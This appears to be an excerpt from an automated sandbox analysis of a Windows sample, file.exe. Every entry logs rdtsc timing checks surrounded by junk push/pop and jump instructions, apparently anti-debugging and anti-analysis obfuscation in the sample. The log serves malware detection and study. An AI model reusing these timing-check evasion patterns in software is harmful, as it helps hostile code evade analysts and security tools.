Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855C26 second address: 855C2C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DA5 second address: 855DBD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 js 00007FECB125BFC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FECB125BFCCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DBD second address: 855DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DC3 second address: 855DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 855DC9 second address: 855DD3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECB0CC2D06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 856652 second address: 85667E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECB125BFD0h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FECB125BFD2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85681E second address: 85682F instructions: 0x00000000 rdtsc 0x00000002 je 00007FECB0CC2D08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85682F second address: 856833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85DA9D second address: 85DAA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FA8D second address: 85FA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FA94 second address: 85FAB2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECB0CC2D19h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FECB0CC2D11h 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FAB2 second address: 85FABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FABE second address: 85FAC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FAC8 second address: 85FAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FECB125BFC8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FAD5 second address: 85FAE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FECB0CC2D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FAE1 second address: 85FAE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85FAE5 second address: 85FAF0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8625DD second address: 8625E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8625E3 second address: 8625EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8628C6 second address: 8628CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8628CE second address: 8628D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A14 second address: 862A18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A18 second address: 862A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A1C second address: 862A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A26 second address: 862A36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862A36 second address: 862A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866B5C second address: 866B69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FECB0CC2D06h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866B69 second address: 866B6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866E4E second address: 866E54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867114 second address: 86711F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FECB125BFC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E60F second address: 86E613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E613 second address: 86E623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007FECB125BFCCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81498F second address: 814994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814994 second address: 8149AD instructions: 0x00000000 rdtsc 0x00000002 ja 00007FECB125BFC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jnc 00007FECB125BFC6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8149AD second address: 8149EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FECB0CC2D0Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e movsx ecx, cx 0x00000011 mov ebx, dword ptr [ebp+12485A01h] 0x00000017 add dx, 5900h 0x0000001c add eax, ebx 0x0000001e add di, DBD7h 0x00000023 nop 0x00000024 jmp 00007FECB0CC2D0Dh 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8149EB second address: 8149EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8149EF second address: 8149F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E74B second address: 86E74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E74F second address: 86E753 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86E753 second address: 86E75F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8724BD second address: 8724DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FECB0CC2D06h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FECB0CC2D10h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8724DE second address: 8724E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8724E4 second address: 872519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FECB0CC2D17h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FECB0CC2D11h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 872519 second address: 87253B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECB125BFC6h 0x00000008 jl 00007FECB125BFC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnl 00007FECB125BFD2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87253B second address: 872557 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D0Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FECB0CC2D0Ch 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 871F48 second address: 871F52 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FECB125BFC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8779FF second address: 877A1D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FECB0CC2D06h 0x00000008 jmp 00007FECB0CC2D0Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 je 00007FECB0CC2D06h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877A1D second address: 877A39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB125BFD8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87822E second address: 878234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878539 second address: 87853F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878AD9 second address: 878B01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FECB0CC2D06h 0x00000009 jns 00007FECB0CC2D06h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FECB0CC2D12h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DE7 second address: 878DF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FECB125BFC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DF3 second address: 878DF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878DF8 second address: 878E22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FECB125BFC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FECB125BFCCh 0x00000016 jp 00007FECB125BFC6h 0x0000001c jno 00007FECB125BFCEh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882D8F second address: 882DA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FECB0CC2D11h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 882DA5 second address: 882DB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FECB125BFC6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881F55 second address: 881F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 881F5D second address: 881F8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FECB125BFD7h 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnl 00007FECB125BFCCh 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FECB125BFC6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8820EE second address: 8820F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8823C0 second address: 8823C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8826A7 second address: 8826CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8826CB second address: 8826F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jno 00007FECB125BFDDh 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007FECB125BFD5h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A787 second address: 88A798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push ecx 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88A798 second address: 88A7A5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888AE5 second address: 888AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888EEE second address: 888EF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888EF2 second address: 888F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007FECB0CC2D08h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889837 second address: 889858 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB125BFCEh 0x00000007 jl 00007FECB125BFC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 je 00007FECB125BFC6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 889F76 second address: 889FA1 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECB0CC2D1Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FECB0CC2D0Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886B0 second address: 8886B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886B4 second address: 8886BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886BE second address: 8886C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D7D8 second address: 88D7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D7DE second address: 88D7F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECB125BFCBh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D7F7 second address: 88D7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88D7FB second address: 88D80B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FECB125BFC6h 0x00000008 jp 00007FECB125BFC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894CA7 second address: 894CCE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FECB0CC2D06h 0x00000008 jmp 00007FECB0CC2D15h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007FECB0CC2D0Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894612 second address: 894619 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894619 second address: 894629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FECB0CC2D06h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89478F second address: 894795 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894795 second address: 8947DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jp 00007FECB0CC2D06h 0x0000000d je 00007FECB0CC2D06h 0x00000013 pop edx 0x00000014 jg 00007FECB0CC2D17h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FECB0CC2D0Eh 0x00000022 pushad 0x00000023 jc 00007FECB0CC2D06h 0x00000029 pushad 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8947DC second address: 8947E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8947E1 second address: 8947E6 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89493A second address: 894946 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FECB125BFC6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 894946 second address: 89497B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FECB0CC2D06h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FECB0CC2D15h 0x00000013 jmp 00007FECB0CC2D12h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0C12 second address: 8A0C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0C16 second address: 8A0C71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D14h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FECB0CC2D22h 0x00000011 jmp 00007FECB0CC2D16h 0x00000016 jns 00007FECB0CC2D06h 0x0000001c pop edi 0x0000001d pushad 0x0000001e jmp 00007FECB0CC2D0Ah 0x00000023 push edi 0x00000024 jmp 00007FECB0CC2D10h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A78FD second address: 8A7901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A7901 second address: 8A7946 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECB0CC2D06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007FECB0CC2D19h 0x00000010 jmp 00007FECB0CC2D13h 0x00000015 jmp 00007FECB0CC2D19h 0x0000001a push ecx 0x0000001b jnc 00007FECB0CC2D06h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC289 second address: 8AC295 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FECB125BFC6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B796A second address: 8B7987 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECB0CC2D19h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7987 second address: 8B79D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FECB125BFCAh 0x0000000c push edi 0x0000000d pop edi 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007FECB125BFD4h 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d pushad 0x0000001e push eax 0x0000001f pop eax 0x00000020 jmp 00007FECB125BFD5h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B79D1 second address: 8B79F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FECB0CC2D0Dh 0x0000000b jmp 00007FECB0CC2D13h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B9EED second address: 8B9F0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FECB125BFD3h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BE5BF second address: 8BE5CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FECB0CC2D06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
